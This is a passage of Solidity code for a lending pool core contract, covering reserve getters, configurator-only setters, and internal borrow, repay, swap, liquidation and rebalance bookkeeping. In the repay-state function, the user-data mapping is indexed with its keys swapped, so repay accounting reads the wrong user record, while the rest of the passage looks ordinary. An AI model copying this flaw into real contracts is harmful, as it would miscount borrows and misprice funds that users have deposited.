CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.aTokenAddress;
}
/**
* @dev gets the available liquidity in the reserve. The available liquidity is the balance of the core contract
* @param _reserve the reserve address
* @return the available liquidity
**/
function getReserveAvailableLiquidity(address _reserve) public view returns (uint256) {
uint256 balance = 0;
if (_reserve == EthAddressLib.ethAddress()) {
balance = address(this).balance;
} else {
balance = IERC20(_reserve).balanceOf(address(this));
}
return balance;
}
/**
* @dev gets the total liquidity in the reserve. The total liquidity is the balance of the core contract + total borrows
* @param _reserve the reserve address
* @return the total liquidity
**/
function getReserveTotalLiquidity(address _reserve) public view returns (uint256) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return getReserveAvailableLiquidity(_reserve).add(reserve.getTotalBorrows());
}
/**
* @dev gets the normalized income of the reserve. a value of 1e27 means there is no income. A value of 2e27 means there
* there has been 100% income.
* @param _reserve the reserve address
* @return the reserve normalized income
**/
function getReserveNormalizedIncome(address _reserve) external view returns (uint256) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.getNormalizedIncome();
}
/**
* @dev gets the reserve total borrows
* @param _reserve the reserve address
* @return the total borrows (stable + variable)
**/
function getReserveTotalBorrows(address _reserve) public view returns (uint256) {
return reserves[_reserve].getTotalBorrows();
}
/**
* @dev gets the reserve total borrows stable
* @param _reserve the reserve address
* @return the total borrows stable
**/
function getReserveTotalBorrowsStable(address _reserve) external view returns (uint256) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.totalBorrowsStable;
}
/**
* @dev gets the reserve total borrows variable
* @param _reserve the reserve address
* @return the total borrows variable
**/
function getReserveTotalBorrowsVariable(address _reserve) external view returns (uint256) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.totalBorrowsVariable;
}
/**
* @dev gets the reserve liquidation threshold
* @param _reserve the reserve address
* @return the reserve liquidation threshold
**/
function getReserveLiquidationThreshold(address _reserve) external view returns (uint256) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.liquidationThreshold;
}
/**
* @dev gets the reserve liquidation bonus
* @param _reserve the reserve address
* @return the reserve liquidation bonus
**/
function getReserveLiquidationBonus(address _reserve) external view returns (uint256) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.liquidationBonus;
}
/**
* @dev gets the reserve current variable borrow rate. Is the base variable borrow rate if the reserve is empty
* @param _reserve the reserve address
* @return the reserve current variable borrow rate
**/
function getReserveCurrentVariableBorrowRate(address _reserve) external view returns (uint256) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
if (reserve.currentVariableBorrowRate == 0) {
return
IReserveInterestRateStrategy(reserve.interestRateStrategyAddress)
.getBaseVariableBorrowRate();
}
return reserve.currentVariableBorrowRate;
}
/**
* @dev gets the reserve current stable borrow rate. Is the market rate if the reserve is empty
* @param _reserve the reserve address
* @return the reserve current stable borrow rate
**/
function getReserveCurrentStableBorrowRate(address _reserve) public view returns (uint256) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
ILendingRateOracle oracle = ILendingRateOracle(addressesProvider.getLendingRateOracle());
if (reserve.currentStableBorrowRate == 0) {
//no stable rate borrows yet
return oracle.getMarketBorrowRate(_reserve);
}
return reserve.currentStableBorrowRate;
}
/**
* @dev gets the reserve average stable borrow rate. The average stable rate is the weighted average
* of all the loans taken at stable rate.
* @param _reserve the reserve address
* @return the reserve current average borrow rate
**/
function getReserveCurrentAverageStableBorrowRate(address _reserve)
external
view
returns (uint256)
{
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.currentAverageStableBorrowRate;
}
/**
* @dev gets the reserve liquidity rate
* @param _reserve the reserve address
* @return the reserve liquidity rate
**/
function getReserveCurrentLiquidityRate(address _reserve) external view returns (uint256) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.currentLiquidityRate;
}
/**
* @dev gets the reserve liquidity cumulative index
* @param _reserve the reserve address
* @return the reserve liquidity cumulative index
**/
function getReserveLiquidityCumulativeIndex(address _reserve) external view returns (uint256) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.lastLiquidityCumulativeIndex;
}
/**
* @dev gets the reserve variable borrow index
* @param _reserve the reserve address
* @return the reserve variable borrow index
**/
function getReserveVariableBorrowsCumulativeIndex(address _reserve)
external
view
returns (uint256)
{
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.lastVariableBorrowCumulativeIndex;
}
/**
* @dev this function aggregates the configuration parameters of the reserve.
* It's used in the LendingPoolDataProvider specifically to save gas, and avoid
* multiple external contract calls to fetch the same data.
* @param _reserve the reserve address
* @return the reserve decimals
* @return the base ltv as collateral
* @return the liquidation threshold
* @return if the reserve is used as collateral or not
**/
function getReserveConfiguration(address _reserve)
external
view
returns (uint256, uint256, uint256, bool)
{
uint256 decimals;
uint256 baseLTVasCollateral;
uint256 liquidationThreshold;
bool usageAsCollateralEnabled;
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
decimals = reserve.decimals;
baseLTVasCollateral = reserve.baseLTVasCollateral;
liquidationThreshold = reserve.liquidationThreshold;
usageAsCollateralEnabled = reserve.usageAsCollateralEnabled;
return (decimals, baseLTVasCollateral, liquidationThreshold, usageAsCollateralEnabled);
}
/**
* @dev returns the decimals of the reserve
* @param _reserve the reserve address
* @return the reserve decimals
**/
function getReserveDecimals(address _reserve) external view returns (uint256) {
return reserves[_reserve].decimals;
}
/**
* @dev returns true if the reserve is enabled for borrowing
* @param _reserve the reserve address
* @return true if the reserve is enabled for borrowing, false otherwise
**/
function isReserveBorrowingEnabled(address _reserve) external view returns (bool) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.borrowingEnabled;
}
/**
* @dev returns true if the reserve is enabled as collateral
* @param _reserve the reserve address
* @return true if the reserve is enabled as collateral, false otherwise
**/
function isReserveUsageAsCollateralEnabled(address _reserve) external view returns (bool) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.usageAsCollateralEnabled;
}
/**
* @dev returns true if the stable rate is enabled on reserve
* @param _reserve the reserve address
* @return true if the stable rate is enabled on reserve, false otherwise
**/
function getReserveIsStableBorrowRateEnabled(address _reserve) external view returns (bool) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.isStableBorrowRateEnabled;
}
/**
* @dev returns true if the reserve is active
* @param _reserve the reserve address
* @return true if the reserve is active, false otherwise
**/
function getReserveIsActive(address _reserve) external view returns (bool) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.isActive;
}
/**
* @notice returns if a reserve is freezed
* @param _reserve the reserve for which the information is needed
* @return true if the reserve is freezed, false otherwise
**/
function getReserveIsFreezed(address _reserve) external view returns (bool) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.isFreezed;
}
/**
* @notice returns the timestamp of the last action on the reserve
* @param _reserve the reserve for which the information is needed
* @return the last updated timestamp of the reserve
**/
function getReserveLastUpdate(address _reserve) external view returns (uint40 timestamp) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
timestamp = reserve.lastUpdateTimestamp;
}
/**
* @dev returns the utilization rate U of a specific reserve
* @param _reserve the reserve for which the information is needed
* @return the utilization rate in ray
**/
function getReserveUtilizationRate(address _reserve) public view returns (uint256) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
uint256 totalBorrows = reserve.getTotalBorrows();
if (totalBorrows == 0) {
return 0;
}
uint256 availableLiquidity = getReserveAvailableLiquidity(_reserve);
return totalBorrows.rayDiv(availableLiquidity.add(totalBorrows));
}
/**
* @return the array of reserves configured on the core
**/
function getReserves() external view returns (address[] memory) {
return reservesList;
}
/**
* @param _reserve the address of the reserve for which the information is needed
* @param _user the address of the user for which the information is needed
* @return true if the user has chosen to use the reserve as collateral, false otherwise
**/
function isUserUseReserveAsCollateralEnabled(address _reserve, address _user)
external
view
returns (bool)
{
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
return user.useAsCollateral;
}
/**
* @param _reserve the address of the reserve for which the information is needed
* @param _user the address of the user for which the information is needed
* @return the origination fee for the user
**/
function getUserOriginationFee(address _reserve, address _user)
external
view
returns (uint256)
{
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
return user.originationFee;
}
/**
* @dev users with no loans in progress have NONE as borrow rate mode
* @param _reserve the address of the reserve for which the information is needed
* @param _user the address of the user for which the information is needed
* @return the borrow rate mode for the user,
**/
function getUserCurrentBorrowRateMode(address _reserve, address _user)
public
view
returns (CoreLibrary.InterestRateMode)
{
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
if (user.principalBorrowBalance == 0) {
return CoreLibrary.InterestRateMode.NONE;
}
return
user.stableBorrowRate > 0
? CoreLibrary.InterestRateMode.STABLE
: CoreLibrary.InterestRateMode.VARIABLE;
}
/**
* @dev gets the current borrow rate of the user
* @param _reserve the address of the reserve for which the information is needed
* @param _user the address of the user for which the information is needed
* @return the borrow rate for the user,
**/
function getUserCurrentBorrowRate(address _reserve, address _user)
internal
view
returns (uint256)
{
CoreLibrary.InterestRateMode rateMode = getUserCurrentBorrowRateMode(_reserve, _user);
if (rateMode == CoreLibrary.InterestRateMode.NONE) {
return 0;
}
return
rateMode == CoreLibrary.InterestRateMode.STABLE
? usersReserveData[_user][_reserve].stableBorrowRate
: reserves[_reserve].currentVariableBorrowRate;
}
/**
* @dev the stable rate returned is 0 if the user is borrowing at variable or not borrowing at all
* @param _reserve the address of the reserve for which the information is needed
* @param _user the address of the user for which the information is needed
* @return the user stable rate
**/
function getUserCurrentStableBorrowRate(address _reserve, address _user)
external
view
returns (uint256)
{
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
return user.stableBorrowRate;
}
/**
* @dev calculates and returns the borrow balances of the user
* @param _reserve the address of the reserve
* @param _user the address of the user
* @return the principal borrow balance, the compounded balance and the balance increase since the last borrow/repay/swap/rebalance
**/
function getUserBorrowBalances(address _reserve, address _user)
public
view
returns (uint256, uint256, uint256)
{
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
if (user.principalBorrowBalance == 0) {
return (0, 0, 0);
}
uint256 principal = user.principalBorrowBalance;
uint256 compoundedBalance = CoreLibrary.getCompoundedBorrowBalance(
user,
reserves[_reserve]
);
return (principal, compoundedBalance, compoundedBalance.sub(principal));
}
/**
* @dev the variable borrow index of the user is 0 if the user is not borrowing or borrowing at stable
* @param _reserve the address of the reserve for which the information is needed
* @param _user the address of the user for which the information is needed
* @return the variable borrow index for the user
**/
function getUserVariableBorrowCumulativeIndex(address _reserve, address _user)
external
view
returns (uint256)
{
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
return user.lastVariableBorrowCumulativeIndex;
}
/**
* @dev the variable borrow index of the user is 0 if the user is not borrowing or borrowing at stable
* @param _reserve the address of the reserve for which the information is needed
* @param _user the address of the user for which the information is needed
* @return the variable borrow index for the user
**/
function getUserLastUpdate(address _reserve, address _user)
external
view
returns (uint256 timestamp)
{
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
timestamp = user.lastUpdateTimestamp;
}
/**
* @dev updates the lending pool core configuration
**/
function refreshConfiguration() external onlyLendingPoolConfigurator {
refreshConfigInternal();
}
/**
* @dev initializes a reserve
* @param _reserve the address of the reserve
* @param _aTokenAddress the address of the overlying aToken contract
* @param _decimals the decimals of the reserve currency
* @param _interestRateStrategyAddress the address of the interest rate strategy contract
**/
function initReserve(
address _reserve,
address _aTokenAddress,
uint256 _decimals,
address _interestRateStrategyAddress
) external onlyLendingPoolConfigurator {
reserves[_reserve].init(_aTokenAddress, _decimals, _interestRateStrategyAddress);
addReserveToListInternal(_reserve);
}
/**
* @dev removes the last added reserve in the reservesList array
* @param _reserveToRemove the address of the reserve
**/
function removeLastAddedReserve(address _reserveToRemove)
external onlyLendingPoolConfigurator {
address lastReserve = reservesList[reservesList.length-1];
require(lastReserve == _reserveToRemove, "Reserve being removed is different than the reserve requested");
//as we can't check if totalLiquidity is 0 (since the reserve added might not be an ERC20) we at least check that there is nothing borrowed
require(getReserveTotalBorrows(lastReserve) == 0, "Cannot remove a reserve with liquidity deposited");
reserves[lastReserve].isActive = false;
reserves[lastReserve].aTokenAddress = address(0);
reserves[lastReserve].decimals = 0;
reserves[lastReserve].lastLiquidityCumulativeIndex = 0;
reserves[lastReserve].lastVariableBorrowCumulativeIndex = 0;
reserves[lastReserve].borrowingEnabled = false;
reserves[lastReserve].usageAsCollateralEnabled = false;
reserves[lastReserve].baseLTVasCollateral = 0;
reserves[lastReserve].liquidationThreshold = 0;
reserves[lastReserve].liquidationBonus = 0;
reserves[lastReserve].interestRateStrategyAddress = address(0);
reservesList.pop();
}
/**
* @dev updates the address of the interest rate strategy contract
* @param _reserve the address of the reserve
* @param _rateStrategyAddress the address of the interest rate strategy contract
**/
function setReserveInterestRateStrategyAddress(address _reserve, address _rateStrategyAddress)
external
onlyLendingPoolConfigurator
{
reserves[_reserve].interestRateStrategyAddress = _rateStrategyAddress;
}
/**
* @dev enables borrowing on a reserve. Also sets the stable rate borrowing
* @param _reserve the address of the reserve
* @param _stableBorrowRateEnabled true if the stable rate needs to be enabled, false otherwise
**/
function enableBorrowingOnReserve(address _reserve, bool _stableBorrowRateEnabled)
external
onlyLendingPoolConfigurator
{
reserves[_reserve].enableBorrowing(_stableBorrowRateEnabled);
}
/**
* @dev disables borrowing on a reserve
* @param _reserve the address of the reserve
**/
function disableBorrowingOnReserve(address _reserve) external onlyLendingPoolConfigurator {
reserves[_reserve].disableBorrowing();
}
/**
* @dev enables a reserve to be used as collateral
* @param _reserve the address of the reserve
**/
function enableReserveAsCollateral(
address _reserve,
uint256 _baseLTVasCollateral,
uint256 _liquidationThreshold,
uint256 _liquidationBonus
) external onlyLendingPoolConfigurator {
reserves[_reserve].enableAsCollateral(
_baseLTVasCollateral,
_liquidationThreshold,
_liquidationBonus
);
}
/**
* @dev disables a reserve to be used as collateral
* @param _reserve the address of the reserve
**/
function disableReserveAsCollateral(address _reserve) external onlyLendingPoolConfigurator {
reserves[_reserve].disableAsCollateral();
}
/**
* @dev enable the stable borrow rate mode on a reserve
* @param _reserve the address of the reserve
**/
function enableReserveStableBorrowRate(address _reserve) external onlyLendingPoolConfigurator {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
reserve.isStableBorrowRateEnabled = true;
}
/**
* @dev disable the stable borrow rate mode on a reserve
* @param _reserve the address of the reserve
**/
function disableReserveStableBorrowRate(address _reserve) external onlyLendingPoolConfigurator {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
reserve.isStableBorrowRateEnabled = false;
}
/**
* @dev activates a reserve
* @param _reserve the address of the reserve
**/
function activateReserve(address _reserve) external onlyLendingPoolConfigurator {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
require(
reserve.lastLiquidityCumulativeIndex > 0 &&
reserve.lastVariableBorrowCumulativeIndex > 0,
"Reserve has not been initialized yet"
);
reserve.isActive = true;
}
/**
* @dev deactivates a reserve
* @param _reserve the address of the reserve
**/
function deactivateReserve(address _reserve) external onlyLendingPoolConfigurator {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
reserve.isActive = false;
}
/**
* @notice allows the configurator to freeze the reserve.
* A freezed reserve does not allow any action apart from repay, redeem, liquidationCall, rebalance.
* @param _reserve the address of the reserve
**/
function freezeReserve(address _reserve) external onlyLendingPoolConfigurator {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
reserve.isFreezed = true;
}
/**
* @notice allows the configurator to unfreeze the reserve. A unfreezed reserve allows any action to be executed.
* @param _reserve the address of the reserve
**/
function unfreezeReserve(address _reserve) external onlyLendingPoolConfigurator {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
reserve.isFreezed = false;
}
/**
* @notice allows the configurator to update the loan to value of a reserve
* @param _reserve the address of the reserve
* @param _ltv the new loan to value
**/
function setReserveBaseLTVasCollateral(address _reserve, uint256 _ltv)
external
onlyLendingPoolConfigurator
{
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
reserve.baseLTVasCollateral = _ltv;
}
/**
* @notice allows the configurator to update the liquidation threshold of a reserve
* @param _reserve the address of the reserve
* @param _threshold the new liquidation threshold
**/
function setReserveLiquidationThreshold(address _reserve, uint256 _threshold)
external
onlyLendingPoolConfigurator
{
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
reserve.liquidationThreshold = _threshold;
}
/**
* @notice allows the configurator to update the liquidation bonus of a reserve
* @param _reserve the address of the reserve
* @param _bonus the new liquidation bonus
**/
function setReserveLiquidationBonus(address _reserve, uint256 _bonus)
external
onlyLendingPoolConfigurator
{
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
reserve.liquidationBonus = _bonus;
}
/**
* @notice allows the configurator to update the reserve decimals
* @param _reserve the address of the reserve
* @param _decimals the decimals of the reserve
**/
function setReserveDecimals(address _reserve, uint256 _decimals)
external
onlyLendingPoolConfigurator
{
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
reserve.decimals = _decimals;
}
/**
* @notice internal functions
**/
/**
* @dev updates the state of a reserve as a consequence of a borrow action.
* @param _reserve the address of the reserve on which the user is borrowing
* @param _user the address of the borrower
* @param _principalBorrowBalance the previous borrow balance of the borrower before the action
* @param _balanceIncrease the accrued interest of the user on the previous borrowed amount
* @param _amountBorrowed the new amount borrowed
* @param _rateMode the borrow rate mode (stable, variable)
**/
function updateReserveStateOnBorrowInternal(
address _reserve,
address _user,
uint256 _principalBorrowBalance,
uint256 _balanceIncrease,
uint256 _amountBorrowed,
CoreLibrary.InterestRateMode _rateMode
) internal {
reserves[_reserve].updateCumulativeIndexes();
//increasing reserve total borrows to account for the new borrow balance of the user
//NOTE: Depending on the previous borrow mode, the borrows might need to be switched from variable to stable or vice versa
updateReserveTotalBorrowsByRateModeInternal(
_reserve,
_user,
_principalBorrowBalance,
_balanceIncrease,
_amountBorrowed,
_rateMode
);
}
/**
* @dev updates the state of a user as a consequence of a borrow action.
* @param _reserve the address of the reserve on which the user is borrowing
* @param _user the address of the borrower
* @param _amountBorrowed the amount borrowed
* @param _balanceIncrease the accrued interest of the user on the previous borrowed amount
* @param _rateMode the borrow rate mode (stable, variable)
* @return the final borrow rate for the user. Emitted by the borrow() event
**/
function updateUserStateOnBorrowInternal(
address _reserve,
address _user,
uint256 _amountBorrowed,
uint256 _balanceIncrease,
uint256 _fee,
CoreLibrary.InterestRateMode _rateMode
) internal {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
if (_rateMode == CoreLibrary.InterestRateMode.STABLE) {
//stable
//reset the user variable index, and update the stable rate
user.stableBorrowRate = reserve.currentStableBorrowRate;
user.lastVariableBorrowCumulativeIndex = 0;
} else if (_rateMode == CoreLibrary.InterestRateMode.VARIABLE) {
//variable
//reset the user stable rate, and store the new borrow index
user.stableBorrowRate = 0;
user.lastVariableBorrowCumulativeIndex = reserve.lastVariableBorrowCumulativeIndex;
} else {
revert("Invalid borrow rate mode");
}
//increase the principal borrows and the origination fee
user.principalBorrowBalance = user.principalBorrowBalance.add(_amountBorrowed).add(
_balanceIncrease
);
user.originationFee = user.originationFee.add(_fee);
//solium-disable-next-line
user.lastUpdateTimestamp = uint40(block.timestamp);
}
/**
* @dev updates the state of the reserve as a consequence of a repay action.
* @param _reserve the address of the reserve on which the user is repaying
* @param _user the address of the borrower
* @param _paybackAmountMinusFees the amount being paid back minus fees
* @param _balanceIncrease the accrued interest on the borrowed amount
**/
function updateReserveStateOnRepayInternal(
address _reserve,
address _user,
uint256 _paybackAmountMinusFees,
uint256 _balanceIncrease
) internal {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
CoreLibrary.UserReserveData storage user = usersReserveData[_reserve][_user];
CoreLibrary.InterestRateMode borrowRateMode = getUserCurrentBorrowRateMode(_reserve, _user);
//update the indexes
reserves[_reserve].updateCumulativeIndexes();
//compound the cumulated interest to the borrow balance and then subtracting the payback amount
if (borrowRateMode == CoreLibrary.InterestRateMode.STABLE) {
reserve.increaseTotalBorrowsStableAndUpdateAverageRate(
_balanceIncrease,
user.stableBorrowRate
);
reserve.decreaseTotalBorrowsStableAndUpdateAverageRate(
_paybackAmountMinusFees,
user.stableBorrowRate
);
} else {
reserve.increaseTotalBorrowsVariable(_balanceIncrease);
reserve.decreaseTotalBorrowsVariable(_paybackAmountMinusFees);
}
}
/**
* @dev updates the state of the user as a consequence of a repay action.
* @param _reserve the address of the reserve on which the user is repaying
* @param _user the address of the borrower
* @param _paybackAmountMinusFees the amount being paid back minus fees
* @param _originationFeeRepaid the fee on the amount that is being repaid
* @param _balanceIncrease the accrued interest on the borrowed amount
* @param _repaidWholeLoan true if the user is repaying the whole loan
**/
function updateUserStateOnRepayInternal(
address _reserve,
address _user,
uint256 _paybackAmountMinusFees,
uint256 _originationFeeRepaid,
uint256 _balanceIncrease,
bool _repaidWholeLoan
) internal {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
//update the user principal borrow balance, adding the cumulated interest and then subtracting the payback amount
user.principalBorrowBalance = user.principalBorrowBalance.add(_balanceIncrease).sub(
_paybackAmountMinusFees
);
user.lastVariableBorrowCumulativeIndex = reserve.lastVariableBorrowCumulativeIndex;
//if the balance decrease is equal to the previous principal (user is repaying the whole loan)
//and the rate mode is stable, we reset the interest rate mode of the user
if (_repaidWholeLoan) {
user.stableBorrowRate = 0;
user.lastVariableBorrowCumulativeIndex = 0;
}
user.originationFee = user.originationFee.sub(_originationFeeRepaid);
//solium-disable-next-line
user.lastUpdateTimestamp = uint40(block.timestamp);
}
/**
* @dev updates the state of the user as a consequence of a swap rate action.
* @param _reserve the address of the reserve on which the user is performing the rate swap
* @param _user the address of the borrower
* @param _principalBorrowBalance the the principal amount borrowed by the user
* @param _compoundedBorrowBalance the principal amount plus the accrued interest
* @param _currentRateMode the rate mode at which the user borrowed
**/
function updateReserveStateOnSwapRateInternal(
address _reserve,
address _user,
uint256 _principalBorrowBalance,
uint256 _compoundedBorrowBalance,
CoreLibrary.InterestRateMode _currentRateMode
) internal {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
//compounding reserve indexes
reserve.updateCumulativeIndexes();
if (_currentRateMode == CoreLibrary.InterestRateMode.STABLE) {
uint256 userCurrentStableRate = user.stableBorrowRate;
//swap to variable
reserve.decreaseTotalBorrowsStableAndUpdateAverageRate(
_principalBorrowBalance,
userCurrentStableRate
); //decreasing stable from old principal balance
reserve.increaseTotalBorrowsVariable(_compoundedBorrowBalance); //increase variable borrows
} else if (_currentRateMode == CoreLibrary.InterestRateMode.VARIABLE) {
//swap to stable
uint256 currentStableRate = reserve.currentStableBorrowRate;
reserve.decreaseTotalBorrowsVariable(_principalBorrowBalance);
reserve.increaseTotalBorrowsStableAndUpdateAverageRate(
_compoundedBorrowBalance,
currentStableRate
);
} else {
revert("Invalid rate mode received");
}
}
/**
* @dev updates the state of the user as a consequence of a swap rate action.
* @param _reserve the address of the reserve on which the user is performing the swap
* @param _user the address of the borrower
* @param _balanceIncrease the accrued interest on the borrowed amount
* @param _currentRateMode the current rate mode of the user
**/
function updateUserStateOnSwapRateInternal(
address _reserve,
address _user,
uint256 _balanceIncrease,
CoreLibrary.InterestRateMode _currentRateMode
) internal returns (CoreLibrary.InterestRateMode) {
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
CoreLibrary.InterestRateMode newMode = CoreLibrary.InterestRateMode.NONE;
if (_currentRateMode == CoreLibrary.InterestRateMode.VARIABLE) {
//switch to stable
newMode = CoreLibrary.InterestRateMode.STABLE;
user.stableBorrowRate = reserve.currentStableBorrowRate;
user.lastVariableBorrowCumulativeIndex = 0;
} else if (_currentRateMode == CoreLibrary.InterestRateMode.STABLE) {
newMode = CoreLibrary.InterestRateMode.VARIABLE;
user.stableBorrowRate = 0;
user.lastVariableBorrowCumulativeIndex = reserve.lastVariableBorrowCumulativeIndex;
} else {
revert("Invalid interest rate mode received");
}
//compounding cumulated interest
user.principalBorrowBalance = user.principalBorrowBalance.add(_balanceIncrease);
//solium-disable-next-line
user.lastUpdateTimestamp = uint40(block.timestamp);
return newMode;
}
/**
* @dev updates the state of the principal reserve as a consequence of a liquidation action.
* @param _principalReserve the address of the principal reserve that is being repaid
* @param _user the address of the borrower
* @param _amountToLiquidate the amount being repaid by the liquidator
* @param _balanceIncrease the accrued interest on the borrowed amount
**/
function updatePrincipalReserveStateOnLiquidationInternal(
address _principalReserve,
address _user,
uint256 _amountToLiquidate,
uint256 _balanceIncrease
) internal {
CoreLibrary.ReserveData storage reserve = reserves[_principalReserve];
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_principalReserve];
//update principal reserve data
reserve.updateCumulativeIndexes();
CoreLibrary.InterestRateMode borrowRateMode = getUserCurrentBorrowRateMode(
_principalReserve,
_user
);
if (borrowRateMode == CoreLibrary.InterestRateMode.STABLE) {
//increase the total borrows by the compounded interest
reserve.increaseTotalBorrowsStableAndUpdateAverageRate(
_balanceIncrease,
user.stableBorrowRate
);
//decrease by the actual amount to liquidate
reserve.decreaseTotalBorrowsStableAndUpdateAverageRate(
_amountToLiquidate,
user.stableBorrowRate
);
} else {
//increase the total borrows by the compounded interest
reserve.increaseTotalBorrowsVariable(_balanceIncrease);
//decrease by the actual amount to liquidate
reserve.decreaseTotalBorrowsVariable(_amountToLiquidate);
}
}
/**
* @dev updates the state of the collateral reserve as a consequence of a liquidation action.
* @param _collateralReserve the address of the collateral reserve that is being liquidated
**/
function updateCollateralReserveStateOnLiquidationInternal(
address _collateralReserve
) internal {
//update collateral reserve
reserves[_collateralReserve].updateCumulativeIndexes();
}
/**
* @dev updates the state of the user being liquidated as a consequence of a liquidation action.
* @param _reserve the address of the principal reserve that is being repaid
* @param _user the address of the borrower
* @param _amountToLiquidate the amount being repaid by the liquidator
* @param _feeLiquidated the amount of origination fee being liquidated
* @param _balanceIncrease the accrued interest on the borrowed amount
**/
function updateUserStateOnLiquidationInternal(
address _reserve,
address _user,
uint256 _amountToLiquidate,
uint256 _feeLiquidated,
uint256 _balanceIncrease
) internal {
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
//first increase by the compounded interest, then decrease by the liquidated amount
user.principalBorrowBalance = user.principalBorrowBalance.add(_balanceIncrease).sub(
_amountToLiquidate
);
if (
getUserCurrentBorrowRateMode(_reserve, _user) == CoreLibrary.InterestRateMode.VARIABLE
) {
user.lastVariableBorrowCumulativeIndex = reserve.lastVariableBorrowCumulativeIndex;
}
if(_feeLiquidated > 0){
user.originationFee = user.originationFee.sub(_feeLiquidated);
}
//solium-disable-next-line
user.lastUpdateTimestamp = uint40(block.timestamp);
}
/**
* @dev updates the state of the reserve as a consequence of a stable rate rebalance
* @param _reserve the address of the principal reserve where the user borrowed
* @param _user the address of the borrower
* @param _balanceIncrease the accrued interest on the borrowed amount
**/
function updateReserveStateOnRebalanceInternal(
address _reserve,
address _user,
uint256 _balanceIncrease
) internal {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
reserve.updateCumulativeIndexes();
reserve.increaseTotalBorrowsStableAndUpdateAverageRate(
_balanceIncrease,
user.stableBorrowRate
);
}
/**
* @dev updates the state of the user as a consequence of a stable rate rebalance
* @param _reserve the address of the principal reserve where the user borrowed
* @param _user the address of the borrower
* @param _balanceIncrease the accrued interest on the borrowed amount
**/
function updateUserStateOnRebalanceInternal(
address _reserve,
address _user,
uint256 _balanceIncrease
) internal {
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
user.principalBorrowBalance = user.principalBorrowBalance.add(_balanceIncrease);
user.stableBorrowRate = reserve.currentStableBorrowRate;
//solium-disable-next-line
user.lastUpdateTimestamp = uint40(block.timestamp);
}
/**
* @dev updates the state of the user as a consequence of a stable rate rebalance
* @param _reserve the address of the principal reserve where the user borrowed
* @param _user the address of the borrower
* @param _balanceIncrease the accrued interest on the borrowed amount
* @param _amountBorrowed the accrued interest on the borrowed amount
**/
function updateReserveTotalBorrowsByRateModeInternal(
address _reserve,
address _user,
uint256 _principalBalance,
uint256 _balanceIncrease,
uint256 _amountBorrowed,
CoreLibrary.InterestRateMode _newBorrowRateMode
) internal {
CoreLibrary.InterestRateMode previousRateMode = getUserCurrentBorrowRateMode(
_reserve,
_user
);
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
if (previousRateMode == CoreLibrary.InterestRateMode.STABLE) {
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
reserve.decreaseTotalBorrowsStableAndUpdateAverageRate(
_principalBalance,
user.stableBorrowRate
);
} else if (previousRateMode == CoreLibrary.InterestRateMode.VARIABLE) {
reserve.decreaseTotalBorrowsVariable(_principalBalance);
}
uint256 newPrincipalAmount = _principalBalance.add(_balanceIncrease).add(_amountBorrowed);
if (_newBorrowRateMode == CoreLibrary.InterestRateMode.STABLE) {
reserve.increaseTotalBorrowsStableAndUpdateAverageRate(
newPrincipalAmount,
reserve.currentStableBorrowRate
);
} else if (_newBorrowRateMode == CoreLibrary.InterestRateMode.VARIABLE) {
reserve.increaseTotalBorrowsVariable(newPrincipalAmount);
} else {
revert("Invalid new borrow rate mode");
}
}
/**
* @dev Updates the reserve current stable borrow rate Rf, the current variable borrow rate Rv and the current liquidity rate Rl.
